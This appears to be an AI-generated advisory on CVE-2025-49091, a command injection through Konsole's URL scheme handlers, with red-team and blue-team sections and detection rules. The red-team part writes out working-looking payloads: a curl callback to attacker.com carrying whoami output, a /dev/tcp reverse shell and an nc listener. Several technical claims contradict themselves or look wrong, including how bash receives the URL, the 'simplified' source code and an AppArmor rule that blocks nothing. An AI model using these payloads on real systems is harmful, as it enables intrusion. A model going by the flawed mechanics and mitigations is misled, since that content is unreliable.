CVE-2025-49091
Executive Summary
CVE-2025-49091 is a critical remote code execution (RCE) vulnerability in KDE Konsole, the default terminal emulator for the KDE Plasma desktop environment. The flaw resides in how Konsole handles URL scheme handlers such as ssh://, telnet://, and rlogin://. When a user clicks a crafted link (e.g., from a web browser or email client), Konsole attempts to launch the corresponding binary. If the binary is not installed, Konsole falls back to executing /bin/bash with the URL as an argument, allowing an attacker to inject arbitrary shell commands. This vulnerability requires user interaction (clicking a link) but can lead to full system compromise. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and well-documented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the KDE Konsole package, which is distributed via Linux package managers (e.g., apt, yum, pacman) and as part of the KDE Plasma desktop. Users should verify their package manager’s repository for patched versions (25.04.2+). No third-party package registries (NPM, PyPI, Go, Ruby) are involved.
CVSS Breakdown & Threat Level
CVSS Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The attacker can deliver the malicious link remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – Victim must click the link.
- Scope (S): Unchanged – The vulnerable component is the terminal.
- Confidentiality (C): High – Full file read possible.
- Integrity (I): High – Arbitrary command execution.
- Availability (A): High – System can be rendered unusable.
Threat Level: Critical due to the ease of exploitation and potential for full system compromise.
Deep Dive & Mechanics
The vulnerability exists in Konsole’s URL handler logic. When a user clicks a link with a scheme like ssh://, Konsole checks if the corresponding binary (e.g., /usr/bin/ssh) exists. If the binary is missing, Konsole falls back to executing /bin/bash with the entire URL as a command-line argument. This allows an attacker to craft a URL such as:
ssh://-oProxyCommand=curl$IFS$9attacker.com/$(whoami)@localhost
When Konsole processes this, it attempts to run /bin/bash with the argument -oProxyCommand=curl$IFS$9attacker.com/$(whoami)@localhost. The shell interprets the $() as command substitution, executing the embedded command. The $IFS$9 is used to bypass space filtering.
The attack flow:
- Attacker sends a malicious link (e.g., via email, chat, or web page).
- Victim clicks the link.
- Konsole opens and attempts to handle the URL.
- Since
sshis not installed, Konsole falls back to/bin/bash. - The shell executes the injected command, giving the attacker code execution.
Vulnerable vs. Patched Code
Vulnerable Code (Konsole < 25.04.2):
// Simplified vulnerable logic
void Konsole::handleUrl(const QUrl &url) {
QString scheme = url.scheme();
QString binary = getBinaryForScheme(scheme); // e.g., "ssh"
if (!QFile::exists(binary)) {
// Fallback to bash with URL as argument
QProcess::startDetached("/bin/bash", {url.toString()});
} else {
QProcess::startDetached(binary, {url.toString()});
}
}
Patched Code (Konsole 25.04.2+):
// Patched logic – validates and sanitizes input
void Konsole::handleUrl(const QUrl &url) {
QString scheme = url.scheme();
QString binary = getBinaryForScheme(scheme);
if (!QFile::exists(binary)) {
// Show error dialog instead of falling back
QMessageBox::warning(this, "Error", "Protocol handler not found.");
return;
}
// Sanitize URL to prevent injection
QString sanitizedUrl = sanitizeUrl(url);
QProcess::startDetached(binary, {sanitizedUrl});
}
The patch removes the dangerous fallback to /bin/bash and adds input sanitization.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Target: Ubuntu 24.04 with KDE Plasma 5.27 and Konsole 25.04.1 (vulnerable).
- Attacker: Kali Linux with a simple HTTP server.
Exploit Steps:
- Create a malicious HTML page with a link:
<a href="ssh://-oProxyCommand=curl$IFS$9attacker.com/$(whoami)@localhost">Click me</a> - Host the page on the attacker’s machine:
python3 -m http.server 8080 - Send the link to the victim (e.g., via email).
- Victim clicks the link → Konsole opens →
/bin/bashexecutes the injected command. - Attacker receives a callback (e.g., via netcat):
nc -lvnp 4444
Alternative Payload (reverse shell):
ssh://-oProxyCommand=bash$IFS$9-c$IFS$9'bash$IFS$9-i$IFS$9>&$IFS$9/dev/tcp/attacker.com/4444$IFS$90>&1'@localhost
Blue Team (Detection & Defense)
Detection Steps:
- Monitor for Konsole processes launched with unusual arguments:
ps aux | grep konsole - Check for
/bin/bashbeing spawned by Konsole:auditctl -a always,exit -S execve -F path=/bin/bash -F ppid=konsole_pid - Look for outbound connections to unknown IPs on common ports (4444, 8080).
Defense:
- Block execution of
/bin/bashfrom Konsole via AppArmor or SELinux. - Disable URL scheme handlers in Konsole settings.
- Apply the patch immediately.
Indicators of Compromise (IOCs)
- Process:
/bin/bashspawned bykonsolewith arguments containingssh://,telnet://, orrlogin://. - Network: Outbound connections to attacker-controlled IPs on ports 4444, 8080, or 80.
- File: Temporary files in
/tmp/created by injected commands (e.g.,curldownloads). - Logs: Syslog entries showing Konsole URL handling errors.
- Registry (Windows): Not applicable (Linux-only).
Detection Engineering
YARA Rule
rule CVE_2025_49091_Konsole_RCE {
meta:
description = "Detects Konsole URL handler exploitation attempts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49091"
strings:
$s1 = "ssh://" ascii wide nocase
$s2 = "telnet://" ascii wide nocase
$s3 = "rlogin://" ascii wide nocase
$s4 = "/bin/bash" ascii wide nocase
$s5 = "-oProxyCommand" ascii wide nocase
condition:
(any of ($s1, $s2, $s3)) and ($s4 or $s5)
}
Sigma Rule
title: CVE-2025-49091 Konsole RCE via URL Handler
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Konsole spawning /bin/bash with malicious URL arguments
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith: '/konsole'
Image|endswith: '/bin/bash'
CommandLine|contains:
- 'ssh://'
- 'telnet://'
- 'rlogin://'
condition: selection
falsepositives:
- Legitimate use of ssh/telnet/rlogin with Konsole (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49091 Konsole RCE Outbound"; flow:to_server,established; content:"ssh://"; nocase; content:"-oProxyCommand"; nocase; distance:0; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade KDE Konsole to version 25.04.2 or later.
sudo apt update && sudo apt upgrade konsole - Workaround: Disable URL scheme handlers in Konsole:
- Go to Settings → Configure Konsole → General → Uncheck "Open links in terminal".
- AppArmor/SELinux: Restrict Konsole from executing
/bin/bash:# AppArmor example echo "/bin/bash r," >> /etc/apparmor.d/local/usr.bin.konsole apparmor_parser -r /etc/apparmor.d/usr.bin.konsole
Long-term:
- Implement input validation for all URL handlers.
- Remove fallback to shell binaries.
- Conduct security audits of similar KDE components.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.